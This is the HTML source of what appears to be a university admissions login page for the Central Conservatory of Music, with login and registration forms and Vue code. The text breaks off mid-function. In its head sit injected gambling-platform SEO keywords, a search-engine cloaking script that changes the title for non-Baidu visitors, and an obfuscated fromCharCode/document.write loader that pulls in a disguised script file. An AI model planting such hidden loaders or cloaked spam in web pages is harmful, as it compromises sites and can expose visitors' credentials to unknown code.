<!DOCTYPE html>
<html>
<head><title>&#x661F;&#x7A7A;&#x4F53;&#x80B2;&#x5E73;&#x53F0;&#x5B98;&#x7F51;&#x4E0B;&#x8F7D;&#x624B;&#x673A;&#x7248;&#x5B89;&#x88C5;-&#x4E0B;&#x8F7D;&#x661F;&#x7A7A;&#x5A31;&#x4E50;&#x5E73;&#x53F0;&#x767B;&#x5F55;</title>
<meta name="keywords" content="&#26143;&#31354;&#20307;&#32946;&#24179;&#21488;&#23448;&#32593;&#19979;&#36733;&#25163;&#26426;&#29256;&#23433;&#35013;&#44;&#19979;&#36733;&#26143;&#31354;&#23089;&#20048;&#24179;&#21488;&#30331;&#24405;"/>
<meta name="description" content="&#26143;&#31354;&#20307;&#32946;&#24179;&#21488;&#23448;&#32593;&#65292;&#20026;&#24744;&#25552;&#20379;&#26368;&#20840;&#38754;&#30340;&#20307;&#32946;&#36187;&#20107;&#36164;&#35759;&#12289;&#23454;&#26102;&#27604;&#20998;&#30452;&#25773;&#21644;&#19987;&#23478;&#20998;&#26512;&#65292;&#26159;&#24744;&#20139;&#21463;&#20307;&#32946;&#20048;&#36259;&#30340;&#26368;&#20339;&#36873;&#25321;&#12290;&#30331;&#24405;&#26143;&#31354;&#20307;&#32946;&#24179;&#21488;&#65292;&#25484;&#25569;&#26368;&#26032;&#20307;&#32946;&#21160;&#24577;&#65292;&#23613;&#20139;&#28608;&#24773;&#36187;&#20107;&#12290;"/>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,47,106,115,47,106,113,117,101,114,121,46,51,46,53,46,49,46,109,105,110,46,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="中央音乐学院本科招生系统 登录"}</script>
	<title></title>
	

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
<link rel="shortcut icon" href="/static/home/images/favicon.ico" />

<link href="/static/home/css/login.css" rel="stylesheet" type="text/css"/>
<link href="/static/home/css/app.min.css" rel="stylesheet" type="text/css"/>
<link href="/static/home/iview/styles/iview.css" rel="stylesheet" type="text/css"/>
<link href="/static/home/carousel/css/normalize.min.css" rel="stylesheet" type="text/css">
<link href="/static/home/carousel/css/owl.carousel.min.css" rel="stylesheet" type="text/css">
<link href="/static/home/carousel/css/owl.theme.default.min.css" rel="stylesheet" type="text/css">

<style>
    th, td {
        text-align: center;
        vertical-align: middle !important;
        word-break: break-all;
        word-wrap: break-word;
    }
    a {
        color: #495060;
    }
    h1,h2,h3,h4,h5{
        font-family: "Microsoft YaHei";
    }
    .mui-bar-nav {
        box-shadow: 0 0 0 red !important;
    }
    .table{
        font-size: 17px !important;
    }
    button{
        cursor: pointer;
    }
</style>

	<style>
        #app{
            background: #282828;
        }
		a{
			text-decoration: none;
		}
		.header ul li a{
			color: #f2f2f2;
		}
		.header ul li:hover,
		.header ul li:first-child{
			border-bottom: 2px solid #ffffff;
		}
		.header ul li:hover a,
		.header ul li:first-child a{
			color: #FFFFFF;
			font-weight: bold;
		}
		.header-banner{
            display: grid;
            max-width: 1920px;
            min-width: 1500px;
			margin: auto;
		}
        .header-banner img{
            width: 100%;
        }
        .main-bg-red{
            max-width: 1920px;
			margin: auto;
			background: #99171e;
			padding: 62px 0 42px;
		}
		.main-title{
			font-size: 16px;
			text-align: center;
			margin-bottom: 24px;
		}
		.main-title div:first-child{
			font-size: 32px;
			font-weight: bold;
			color: white;
		}
        .main-top-content{
            width: 1500px;
			margin: auto;
			display: flex;
			gap: 48px;
		}
        .main-tl{
			width: 912px;
		}
		.main-tl-content{
            height: 698px;
			padding: 12px;
			background: #FFFFFF;
		}
		.main-tl-content-head{
			height: 88px;
            font-size: 24px;
			color: #FFFFFF;
			padding: 0 20px;
			background: #930b16;
            box-shadow: 0 4px 8px 0 rgba(114,10,19,0.6);
			display: flex;
			align-items: center;
			justify-content: space-between;
		}
		.main-tl-content-head-btn{
            cursor: pointer;
            font-size: 14px;
            width: 106px;
            height: 32px;
            line-height: 32px;
            text-align: center;
            background: url('/static/home/images/login_main_btn.png') no-repeat;
            background-size: 100% 100%;
		}
        .main-tl-content-list{
            display: flex;
            align-items: center;
            font-size: 16px;
            line-height: 20px;
            margin: 0 42px;
            height: 66px;
            border-bottom: 1px solid #e1e1e1;
        }
        .main-tl-content-item-left{
            width: 75px;
            color: #8F000B;
            font-size: 18px;
        }
        .main-tl-content-item-left div:last-child{
            color: #978e85;
            font-size: 16px;
            margin-top: 2px;
        }
        .main-tl-content-item-middle{
            flex: 1;
            color: #000000;
            cursor: pointer;
            overflow: hidden;
            white-space: nowrap;
            text-overflow: ellipsis;
        }
        .main-tl-content-item-middle:hover{
            color: #930B16;
        }
        .main-tl-content-list img{
            width: 26px;
            height: 26px;
            margin-left: 24px;
        }
		.main-tr{
			width: 540px;
		}
        .main-tr-content{
            position: relative;
            height: 698px;
            padding: 80px 54px 0;
            background: #FFFFFF;
        }
        .login-tab{
            font-size: 34px;
            font-weight: bold;
            color: #ca878d;
            display: flex;
            cursor: pointer;
        }
        .login-tab div{
            width: 100%;
            flex: 1;
            padding: 10px 0;
            text-align: center;
            border-bottom: 1px solid #454545;
            margin-bottom: 6px;
        }
        .login-tab-choose{
            position: relative;
            color: #930B16;
        }
        .login-tab-choose::after{
            content: '';
            position: absolute;
            left: 0;
            bottom: -3px;
            height: 6px;
            width: 100%;
            background-color: #930B16;
        }
        .login-form-input{
            display: flex;
            padding: 22px 0;
            border-bottom: 1px solid #454545;
        }
        .login-form-input img{
            width: 22px;
            height: 22px;
            margin: 0 14px;
        }
        .login-form-input input{
            width: 100%;
            border: none;
            font-size: 16px;
        }
        .login-form-code{
            align-items: center;
        }
        .login-form-code img:last-child{
            width: 80px;
            height: 26px;
        }
        .login-form-svg{
            width: 36px;
            height: 36px;
            margin: -8px 14px;
        }
        .login-form-checkbox{
            color: #919191;
            font-size: 14px;
            line-height: 16px;
            margin: 18px 0 14px;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        .login-form-checkbox-reading{
            display: flex;
            font-size: 14px;
        }
        .login-form-checkbox input,
        .login-form-checkbox-reading input{
            width: 16px;
            height: 16px;
            margin-right: 6px;
        }
        .login-form-checkbox div{
            display: flex;
            align-items: center;
        }
        .login-form-checkbox span{
            color: #495060;
            margin-top: 4px;
        }
        .login-form-checkbox a{
            margin-top: 4px;
            border-bottom: 1px solid #919191;
        }
        .login-form-checkbox-reading div{
            width: calc(100% - 22px);
            margin-top: 1px;
        }
        .login-form-checkbox-reading a{
            color: #b85d63;
            border-bottom: 1px solid #b85d63;
        }
        .login-button{
            height: 52px;
            background: #930B16 !important;
            border-radius: 6px;
            font-size: 24px;
            color: #FFFFFF !important;
            font-weight: bold;
            margin: 42px auto 20px;
        }
        .login-button:hover{
            color: #FFFFFF;
            background: #930B16;
        }
        .login-form-footer{
            font-size: 14px;
            color: #333333;
            text-align: center;
            line-height: 28px;
        }
        .login-form-footer a{
            color: #930B16;
            margin-left: 2px;
            border-bottom: 1px solid #930B16;
        }
        .not-mainland-register-title{
            text-align: center;
            height:45px;
            color:#8f002f;
            font-weight: bold;
            font-size: 14px;
            text-decoration: underline;
        }
        .not-mainland-register-title:hover{
            cursor: pointer;
        }
        .btn-foreign-register{
            padding: 7px 16px;
            background: #930B16;
            border-radius: 4px 4px 4px 4px;
            font-size: 14px;
            font-weight: 400;
            color: #FFFFFF;
            line-height: 16px;
        }
        .main-bg-yellow{
            max-width: 1920px;
            margin: auto;
            overflow: hidden;
            background: url('/static/home/images/login_bg_middle.png') no-repeat;
            background-size: 100% 100%;
            padding-top: 90px;
            background-color: white;
        }
        .main-middle-content{
            width: 1500px;
            margin: auto;
            display: flex;
        }
        .main-ma{
            width: 50%;
        }
        .main-ma-content{
            height: 544px;
            padding: 8px 0;
        }
        .main-mr-content-item-left{
            margin:-6px 16px 0 0;
        }
        .main-bottom-content{
            width: 1500px;
            height: 700px;
            margin: 0 auto 88px;
            background: #F1F1F1;
            padding-top: 72px;
        }
        /* Carousel */
        .Carousel-card{
            width: 796px;
            height: 342px;
            background: #FFFFFF;
            box-shadow: 0 4px 54px 0 rgba(0,0,0,0.2);
        }
        /* page */
        .main-page{
            text-align: center;
            margin: 18px 0 0;
        }
        .ivu-page-item,.ivu-page-next, .ivu-page-prev{
            line-height: 22px !important;
            border: 1px solid #999999 !important;
        }
        .ivu-page-item a{
            font-family: Microsoft YaHei-Regular, Microsoft YaHei;
        }
        .ivu-page-item-active a, .ivu-page-item-active:hover a{
            color:#930B16;
        }
        /*  注册  */
        .ivu-form-item-content{
            width: 100%;
            display: flex;
            align-items: center;
        }
        .ivu-form-item-content{
            width: 100%;
        }
        .ivu-form-item-error .ivu-input{
            border: none;
        }
        .ivu-form-item-error-tip{
            margin-left: 54px;
        }
        /*  testimonials  */
        .testimonials{
            width: 2450px;
            margin-left: -480px;
        }
        #customers-testimonials .carousel-card {
            width: 796px;
            display: flex;
            background-color: white;
            box-shadow: 0 4px 24px 0 rgba(0,0,0,0.2);
            margin: 30px 0 80px;
        }
        .carousel-card-text{
            font-size: 14px;
            padding: 0 34px;
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
        .carousel-card-text h1{
            font-size: 20px;
            margin-bottom: 34px;
        }
        .carousel-card-text p{
            text-indent: 2em;
            text-align: justify;
        }
        .owl-carousel .owl-item img{
            max-width: 456px;
            height: 342px;
        }
        #customers-testimonials.owl-carousel .owl-dots .owl-dot.active span,
        #customers-testimonials.owl-carousel .owl-dots .owl-dot:hover span {
            background: #8F000B;
            transform: translate3d(0px, -50%, 0px) scale(0.7);
        }
        #customers-testimonials.owl-carousel .owl-dots{
            display: inline-block;
            width: 100%;
            text-align: center;
        }
        #customers-testimonials.owl-carousel .owl-dots .owl-dot{
            display: inline-block;
        }
        #customers-testimonials.owl-carousel .owl-dots .owl-dot span {
            background: #8F000B;
            display: inline-block;
            height: 20px;
            margin: 0 2px 5px;
            transform: translate3d(0px, -50%, 0px) scale(0.3);
            transform-origin: 50% 50% 0;
            transition: all 250ms ease-out 0s;
            width: 20px;
            border-radius: 10px;
        }
        /*    */
        .main-content-qr {
            position: absolute;
            top: 18px;
            right: 24px;
            display: flex;
        }
        .main-content-qr-text {
            width: 75px;
            height: 28px;
            font-size: 14px;
            color: #930B16;
            line-height: 28px;
            text-align: center;
            background-image: url(/static/home/images/backend_bg_tip.png);
            background-size: 100% 100%;
        }
        .main-content-qr-img {
            width: 48px;
            height: 48px;
            background-image: url(/static/home/images/backend_icon_qr.png);
            background-size: 100% 100%;
            cursor: pointer;
            margin-left: 16px;
        }
        .main-content-qr-img-zh{
            background-image: url(/static/home/images/backend_icon_zh.png);
            background-size: 100% 100%;
        }
        .main-content-scan{
            width: 100%;
            text-align: center;
            margin: auto;
        }
        .scan-img {
            width: 322px;
            height: 322px;
            border-radius: 8px;
            border: 2px solid #891A41;
            padding: 2px;
            margin: 60px auto 38px;
        }
        .scan-text{
            width: 406px;
            font-size: 14px;
            color: #333333;
            margin: auto;
        }
        .scan-text a{
            color: #930B16;
            cursor: pointer;
            border-bottom: 1px solid #b85d63;
        }
        .main-modal-wrapper{
            z-index: 2;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 0, 0, .4);
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .main-modal{
            width: 550px;
            opacity: 1;
            border-radius: 8px;
            background: #ffffff;
            overflow: hidden;
        }
        .main-modal-title{
            color: #FFFFFF;
            font-size: 14px;
            height: 50px;
            line-height: 16px;
            font-weight: bold;
            background: #8F002F;
            padding: 0 24px;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        .main-modal-content{
            padding: 50px 0 70px;
            text-align: center;
            color: #333333;
            font-size: 20px;
            font-weight: bold;
        }
        .main-modal-content span{
            color: #891A41;
            cursor: pointer;
            border-bottom: 1px solid #b85d63;
        }
        input:-webkit-autofill,
        input:-webkit-autofill:hover,
        input:-webkit-autofill:focus,
        input:-webkit-autofill:active {
            -webkit-transition: "color 9999s ease-out, background-color 9999s ease-out";
            -webkit-transition-delay: 9999s;
        }
	</style>
</head>
<body>

<script type="text/javascript">
    
    if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) {
        window.location.href="/ccom/mobilePhone/anon/mobileLoginUI";
    }
</script>
<script>
    //检测IE
    var isIe9 = false;
    try {
        var browser = navigator.appName;
        var trim_Version = navigator.appVersion.split(";")[1].replace(/[ ]/g, "");
        if (browser == "Microsoft Internet Explorer" && trim_Version == "MSIE6.0") {
            isIe9 = true;
        }
        else if (browser == "Microsoft Internet Explorer" && trim_Version == "MSIE7.0") {
            isIe9 = true;
        }
        else if (browser == "Microsoft Internet Explorer" && trim_Version == "MSIE8.0") {
            isIe9 = true;
        }
        else if (browser == "Microsoft Internet Explorer" && trim_Version == "MSIE9.0") {
            isIe9 = true;
        }
        else if (browser == "Microsoft Internet Explorer" && trim_Version == "MSIE10.0") {
            isIe9 = true;
        }
        else if (browser == "Netscape" && trim_Version == "WOW64") {
            isIe9 = true;
        }
        var Sys = {};
        var ua = navigator.userAgent.toLowerCase();
        var s;
        (s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] :
            (s = ua.match(/firefox\/([\d.]+)/)) ? Sys.firefox = s[1] :
                (s = ua.match(/chrome\/([\d.]+)/)) ? Sys.chrome = s[1] :
                    (s = ua.match(/opera.([\d.]+)/)) ? Sys.opera = s[1] :
                        (s = ua.match(/version\/([\d.]+).*safari/)) ? Sys.safari = s[1] : 0;
        if (Sys.ie) {//Js判断为IE浏览器
        }
        if (Sys.firefox) {//Js判断为火狐(firefox)浏览器
            isIe9 = false;
        }
        if (Sys.chrome) {//Js判断为谷歌chrome浏览器
            isIe9 = false;
        }
        if (Sys.opera) {//Js判断为opera浏览器
            isIe9 = false;
        }
        if (Sys.safari) {//Js判断为苹果safari浏览器
            isIe9 = false;
        }
    }
    catch (e) {
    }
    finally {
        if (isIe9) {
            window.location.href = '/static/home/browser/ie9update.html';
        }
    }
</script>
<div id="app" v-cloak>
	
<div style="max-width: 1920px;background: #8F000B;margin: auto">
    <div class="header" style="width: 1500px;height: 80px;padding: 10px;margin: auto">
        <img src="/static/home/images/header_logo_word_white_small.png" onclick="goAdminLogin()" style="height: 60px">
        <ul style="float: right;display: flex;margin-top: 20px;font-size: 16px;list-style: none;">
            <li><a href="/login">招生首页</a></li>
            <li style="margin-left: 100px"><a target="_blank" rel="noopener noreferrer" href="https://www.ccom.edu.cn/">学院网站</a></li>
            <li style="margin-left: 100px"><a target="_blank" rel="noopener noreferrer" href="https://www.ccom.edu.cn/ljxx/xxjj.htm">学院简介</a></li>
            <li style="margin-left: 100px"><a target="_blank" rel="noopener noreferrer" href="https://www.ccom.edu.cn/xysh/xyfj.htm">校园风景</a></li>
            <li style="margin-left: 100px"><a href="/ccom/basic/getContactUs">联系我们</a></li>
        </ul>
    </div>
</div>


	<div class="header-banner">
        <img src="/static/home/images/login_bg_header.jpeg" >
    </div>
	<div class="main-bg-red">
		<div class="main-top-content">
			<div class="main-tl">
				<div class="main-title">
					<div>信息公示</div>
					<div style="color: #c9868b">Information Announcement</div>
				</div>
				<div class="main-tl-content">
					<div class="main-tl-content-head">
                        <div style="display: flex;align-items: center">
                            <img src="/static/home/images/header_logo_word_white_big.png" style="width: 78px">
                            2025年中央音乐学院本科招生简章
                            
                        </div>
                        <div class="main-tl-content-head-btn" @click="viewBrochure()">点击查看</div>
					</div>
                    <div v-for="(item,index) in noticeList" :key="index" @click="viewNews(item.id)" class="main-tl-content-list">
                        <div v-if="item.createDate" class="main-tl-content-item-left">
                            <div>{{ new Date(item.createDate.replace(/-/g, '/')).getMonth() + 1 }}-{{ new Date(item.createDate.replace(/-/g, '/')).getDate() }}</div>
                            <div>{{ new Date(item.createDate.replace(/-/g, '/')).getFullYear() }}</div>
                        </div>
                        <div class="main-tl-content-item-middle">{{item.newsTitle}}</div>
                        <img src="/static/home/images/login_icon_notice.png">
                    </div>
                    <div class="main-page">
                        <Page :total="noticePage.total" page-size="8" :current="noticePage.no" @on-change="noticeChangePage($event)" size="small" />
                    </div>
				</div>
			</div>
			<div class="main-tr">
				<div class="main-title">
					<div @click="changeUserType">用户登录</div>
					<div style="color: #c9868b">User Login</div>
				</div>
                <div class="main-tr-content">
                    <div class="main-content-qr">
                        <div class="main-content-qr-text">{{isScanCodeLogin?'账号':'扫码'}}登录</div>
                        <div class="main-content-qr-img" :class="isScanCodeLogin?'main-content-qr-img-zh':''" @click="changeLoginType"></div>
                    </div>
                    <div class="main-content-scan" v-if="isScanCodeLogin">
                        <div class="login-tab">
                            <div class="login-tab-choose">扫码登录</div>
                        </div>
                        <div class="scan-img">
                            <img :src="qrUrl" style="width: 100%;height: 100%"/>
                        </div>
                        <form class="test" action="/login" method="post" style="width: 0;height: 0;opacity: 0;">
                            <input type="text" name="username" maxlength="15">
                            <input type="password" autocomplete="off" name="password">
                            <input type="text" v-model="userType" name="userType"/>
                            <input type="text" v-model="loginType" name="loginType"/>
                            <input type="text" name="openId"/>
                        </form>
                        <div class="scan-text">
                            登录即代表您已同意<a @click="viewBrochure()">《2025年中央音乐学院本科招生简章》</a>，并同意简章中所有内容，如有违反，本人愿承担所有责任。
                        </div>
                    </div>
                    <template v-else>
                        <div class="login-tab">
                            <div @click="loginTabChange(true)" :class="isLogin==true?'login-tab-choose':''">登录</div>
                            <div @click="loginTabChange(false)" :class="isLogin==false?'login-tab-choose':''">注册</div>
                        </div>
                        <div v-if="isLogin">
                            <form class="login-form" action="/login" method="post">
                                <div class="login-form-input">
                                    <img src="/static/home/images/login_icon_user.png">
                                    <input type="text" v-model="userName" name="username" maxlength="15" placeholder="请输入手机号" required>
                                </div>
                                <div class="login-form-input">
                                    <img src="/static/home/images/login_icon_password.png">
                                    <input type="password" v-model="password" autocomplete="off" name="password" placeholder="请输入密码" required>
                                </div>
                                
                                <div style="margin-top: 8px;text-align:center;color:red;display:hide; " >
                                    <span id="loginError"></span>
                                </div>
                                <div class="login-form-checkbox" style="">
                                    <div><input id="rememberMe" type="checkbox"/><span>记住用户名</span></div>
                                    <a href="/ccom/basic/getBackPassword" target="_blank" rel="noopener noreferrer">忘记密码？</a>
                                </div>
                                <div class="login-form-checkbox-reading">
                                    <input id="login-reading" type="checkbox"/>
                                    <div>我已熟读<a @click="viewBrochure()">《2025年中央音乐学院本科招生简章》</a>，并同意简章中所有内容，如有违反，本人愿承担所有责任。</div>
                                </div>
                                <button class="login-button" style="" type="button" @click="entrySystem">登 录</button>
                                <div class="login-form-footer">
                                    <div>报名开始时间：2025年1月3日</div><div>报名截止时间：2025年1月10日 中午12:00</div><div>每日开网时间：9:00-21:00</div>
                                    <div>温馨提示：系统中遇到问题<a target="_blank" rel="noopener noreferrer" href="/ccom/basic/getContactUs">联系我们</a></div>
                                </div>
                                <input type="text" id="userType" v-model="userType" name="userType" style="height: 0;opacity: 0"/>
                            </form>
                        </div>
                        <div v-else>
                            <i-form class="login-form" ref="form" :model="sysUser" :rules="validate">
                                <Form-item class="login-form-input" prop="phoneNumber">
                                    <img src="/static/home/images/login_icon_user.png">
                                    <i-input v-model="sysUser.phoneNumber" type="text" size="large" maxlength="11" placeholder="手机号"></i-input>
                                </Form-item>
                                <Form-item class="login-form-input" prop="password">
                                    <img src="/static/home/images/login_icon_password.png">
                                    <i-input v-model="sysUser.password" type="password" autocomplete="off" size="large" placeholder="密码为6-16位英文或数字组合"></i-input>
                                </Form-item>
                                <Form-item class="login-form-input" prop="passwordCheck">
                                    <img src="/static/home/images/login_icon_password.png">
                                    <i-input v-model="sysUser.passwordCheck" type="password" autocomplete="off" size="large" placeholder="确认密码"></i-input>
                                </Form-item>
                                <div style="height:45px;color:#8f002f;font-weight: bold;font-size: 14px;">
                                    注意：请以考试期间能收到通知的手机号注册
                                </div>
                                <i-button class="login-button" :disabled="sort" @click="register()">注 册</i-button>
                                <div @click="studentForeignRegisterAdd()" class="not-mainland-register-title">非大陆手机号注册</div>
                            </i-form>
                        </div>
                    </template>
                </div>
			</div>
		</div>
	</div>
    <div class="main-bg-yellow">
        <div class="main-middle-content">
            <div class="main-ma">
                <div class="main-title">
                    <div style="color: #8F000B">专业考试</div>
                    <div style="color: #a8a6a4">Professional Examination</div>
                </div>
                <div class="main-ma-content" style="background: #feefdf">
                    <div v-for="(item,index) in examinationList" :key="index" @click="viewNews(item.id)" class="main-tl-content-list" style="border: none">
                        <div class="main-tl-content-item-left">
                            <div>{{ new Date(item.createDate.replace(/-/g, '/')).getMonth() + 1 }}-{{ new Date(item.createDate.replace(/-/g, '/')).getDate() }}</div>
                            <div>{{ new Date(item.createDate.replace(/-/g, '/')).getFullYear() }}</div>
                        </div>
                        <div class="main-tl-content-item-middle">{{item.newsTitle}}</div>
                        <img src="/static/home/images/login_icon_notice.png">
                    </div>
                </div>
                <div class="main-page" style="margin: 50px auto 122px">
                    <Page :total="examinationPage.total" page-size="8" :current="examinationPage.no" @on-change="examinationChangePage($event)" size="small" />
                </div>
            </div>
            <div class="main-ma">
                <div class="main-title">
                    <div style="color: #8F000B">考试资料</div>
                    <div style="color: #a8a6a4">Examination Materials</div>
                </div>
                <div class="main-ma-content" style="background: #fee4c9">
                    <div v-for="(item,index) in dataList" :key="index" @click="viewNews(item.id)" class="main-tl-content-list" style="border: none">
                        <img class="main-mr-content-item-left" src="/static/home/images/login_icon_data.png">
                        <div class="main-tl-content-item-middle">{{item.newsTitle}}</div>
                        <img src="/static/home/images/login_icon_notice.png">
                    </div>
                </div>
                <div class="main-page" style="margin: 50px auto 122px">
                    <Page :total="dataPage.total" page-size="8" :current="dataPage.no" @on-change="dataChangePage($event)" size="small" />
                </div>
            </div>
        </div>
        <div class="main-bottom-content">
            <div class="main-title">
                <div style="color: #8F000B">招生资讯</div>
                <div style="color: #a8a6a4">Admission Information</div>
            </div>
            <section class="testimonials">
                <div id="customers-testimonials" class="owl-carousel">
                   <template v-for="item in admissionInfoList" :key="item.id">
                       <div class="carousel-card">
                           <img v-if="item.image" :src="item.image" style="width: 456px">
                           <video v-else :poster="item.videoCover" name="media" controls="controls" height="342px" width="456px" loop="loop" style="object-fit: fill">
                               <source :src="item.video" type="video/mp4">
                               您的浏览器不支持 video 标签。
                           </video>
                           <div class="carousel-card-text">
                               <h1>{{item.title}}</h1>
                               <p>{{item.introduction}}</p>
                           </div>
                       </div>
                   </template>
                </div>
            </section>
        </div>
    </div>
    
<div style="max-width: 1920px;background: #8F000B;margin: auto">
   <div style="width: 1500px;margin: auto;display: flex;align-items: center;padding: 68px 0 55px">
       <img src="/static/home/images/header_logo_word_white_big.png" style="width: 192px;margin-right: 164px">
       <div style="flex: 1">
           <div style="display: flex;align-items: center;font-size: 16px">
               <div><a href="/login" style="color: white">招生首页</a></div>
               <span style="margin: 0 88px;color: #d9bebf">/</span>
               <div><a target="_blank" rel="noopener noreferrer" href="https://www.ccom.edu.cn/" style="color: white">学院网站</a></div>
               <span style="margin: 0 88px;color: #d9bebf">/</span>
               <div><a target="_blank" rel="noopener noreferrer" href="https://www.ccom.edu.cn/ljxx/xxjj.htm" style="color: white">学院简介</a></div>
               <span style="margin: 0 88px;color: #d9bebf">/</span>
               <div><a target="_blank" rel="noopener noreferrer" href="https://www.ccom.edu.cn/xysh/xyfj.htm" style="color: white">校园风景</a></div>
           </div>
           <div style="margin-top: 28px">
               <div class="hr" style="width: 100%;height: 1px;background-color: #c77f85;position: relative">
                   <img src="/static/home/images/login_icon_arrow.png" @click="goPageTop" style="position: absolute;right: 80px;top: -25px;width: 32px;cursor: pointer;z-index: 99">
                   <div style="position: absolute;top:-17px;right:78px;height: 35px;width: 35px;border-radius:2px;border-bottom:1px solid #c77f85;border-right:1px solid #c77f85;background-color:#8f000b;-moz-transform: rotate(45deg);-webkit-transform: rotate(45deg);-o-transform: rotate(45deg);transform: rotate(45deg);"></div>
               </div>
           </div>
           <div style="margin-top: 40px;display: flex;align-items: center">
               <div style="flex: 1;font-size: 16px;color: #d9bebf;border-right: 1px dotted #d9bebf">
                   <div style="color: #FFFFFF;font-weight: bold;font-size: 18px;">联系我们</div>
                   <div style="margin-top: 12px">地&emsp;&emsp;址：北京市西城区鲍家街43号</div>
                   <div style="margin-top: 12px">联系电话：010-66425504   010-66425818</div>
                   <div style="margin-top: 12px">邮政编码：100031</div>
               </div>
               <div style="flex: 1;display: flex;align-items: center;font-size: 16px;color: #d9bebf;text-align: center">
                   <div style="margin: 0 45px 0 170px;">
                       <img src="/static/home/images/qrcode_official.jpg" style="width: 85px">
                       <div style="margin-top: 12px">中央音乐学院官方</div>
                   </div>
                   <div>
                       <img src="/static/home/images/qrcode_zsb2.png" style="width: 85px">
                       <div style="margin-top: 12px">中央音乐学院招生办</div>
                   </div>
               </div>
           </div>
       </div>
   </div>
</div>
<div style="max-width: 1920px;background: #6E0C10;margin: auto">
    <div style="width: 1500px;margin: auto;color: #d9bebf;padding: 16px 0;font-size: 16px">
        <span>© Copyright www.ccom.edu.cn  All Right Reserved</span>
        <a target="_blank" rel="noopener noreferrer" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=110402430057" style="margin-left: 22px;border-bottom: 1px solid #d9bebf;color: #d9bebf">京公网安备110402430057号</a>
        <a target="_blank" rel="noopener noreferrer" href="https://beian.miit.gov.cn/#/Integrated/index" style="float: right;border-bottom: 1px solid #d9bebf;color: #d9bebf">京ICP备05064625号</a>
    </div>
</div>

    
    <div v-if="isShowModal" class="main-modal-wrapper">
        <div class="main-modal">
            <div class="main-modal-title">
                <div>温馨提示</div>
                <div @click="closeModal"><Icon type="ios-close" size="26" style="cursor: pointer"/></div>
            </div>
            <div class="main-modal-content">
                您还未注册，请注册后再进行扫码登录。<span @click="toRegister">去注册</span>
            </div>
        </div>
    </div>
    <Modal :title="studentForeignRegisterModal.title" width="500" v-model="studentForeignRegisterModal.show" :loading="studentForeignRegisterModal.loading">
        <iframe id="studentForeignRegisterFrame" width="100%" height="415px"  frameborder="0" :src="studentForeignRegisterModal.url"></iframe>
        <div style="text-align: center" slot="footer">
            <i-button class="btn-foreign-register" @click="edit_ok">提交申请</i-button>
        </div>
    </Modal>
</div>



<script type="text/javascript" src="/static/home/jquery-3.7.1.min.js"></script>
<script type="text/javascript" src="/static/home/bootstrap-5.3.0.min.js"></script>
<script type="text/javascript" src="/static/home/vue-2.7.16.min.js"></script>
<script type="text/javascript" src="/static/home/iview/iview.min.js"></script>
<script type="text/javascript" src='/static/home/carousel/js/owl.carousel.min.js'></script>
<script type="text/javascript" src="/static/home/carousel/js/script.js"></script>

<script type="text/javascript">
    var app = new Vue({
        el: "#app",
        data: {
            isLogin:true,
            userName:"",
            password:"",
            userType:"0",
            userTypeNum:0,
            //是否扫码登录
            isScanCodeLogin: false,
            loginType: "weChat",
            //信息公示
            noticeList:[],
            noticePage : {
                no: 1,
                total: 0,
                size: 8
            },
            //资料下载
            dataList:[],
            dataPage : {
                no: 1,
                total: 0,
                size: 8
            },
            //专业考试
            examinationList:[],
            examinationPage:{
                no: 1,
                total: 0,
                size: 8
            },
            //招生资讯
            admissionInfoList:[
                {
                    id:1,
                    title:'中央音乐学院',
                    introduction:'中央音乐学院1949年由中央人民政府政务院命名成立，是由1938年成立的延安鲁迅艺术学院音乐系、1940年建立的重庆国立音乐院、1948年成立的华北大学三部音乐系、1918年成立的国立北平艺术专科学校音乐系等几所音乐教育机构合并组建而成,是新中国成立后中国共产党创建的第一所培养高级专门音乐人才的院校。',
                    image:'',
                    video:'/oa/news/newsInfo/getVideo?videoName=2023.m4v',
                    videoCover:'/static/home/images/login_img_school1.jpg'
                },
                {
                    id:2,
                    title:'内设学科',
                    introduction:'现设有作曲系、音乐学系、指挥系、钢琴系、管弦系、民乐系、声乐歌剧系、音乐人工智能与音乐信息科技系、音乐教育学院、提琴制作研究中心、人文学部、附属中等音乐学校、现代远程音乐教育学院、继续教育学院、鼓浪屿钢琴学校等教学院系和教育部人文社会科学重点研究基地——音乐学研究所等机构。',
                    image:'/static/home/images/login_img_school4.jpg'
                },
                {
                    id:3,
                    title:'师资力量',
                    introduction:'截至2022年12月，中央音乐学院共有全日制在校生3625人，其中本科生1543人，硕士生728人，博士生192人，附中（含附小）1162人。作为全国音乐教育中心，音乐创作、表演和研究中心，以及社会音乐推广中心，中央音乐学院是一所代表中国专业音乐教育水平，专业设置齐全,并在国内外享有很高声誉的音乐学府。',
                    image:'/static/home/images/login_img_school2.jpg'
                }
            ],
            //注册
            sort:false,
            //是否显示注册提示弹框
            isShowModal: false,
            // 非大陆手机号申请弹框
            studentForeignRegisterModal: {
                title: "非大陆手机号注册申请",
                url: "",
                loading: true,
                show: false
            },
            sysUser: {
                // 周期表对象
                phoneNumber:"",
                password:"",
                passwordCheck:""
            },
            areas:[
				'zh-CN', 'zh-TW'
			],
            phones: {
                'zh-CN': /^(\+?0?86\-?)?1[3456789]\d{9}$/,
                'zh-TW': /^(\+?886\-?|0)?9\d{8}$/
            },
            tip:"",
            const: validateMobile = function (rule, value, callback) {
                var otherMobileNumbers=["601116050101","16619787868","84481028","60193761136"];
                if(otherMobileNumbers.lastIndexOf(value) != -1){
                    callback();
                } else if (value === "") {
                    callback(new Error("手机号不能为空"));
                } else {
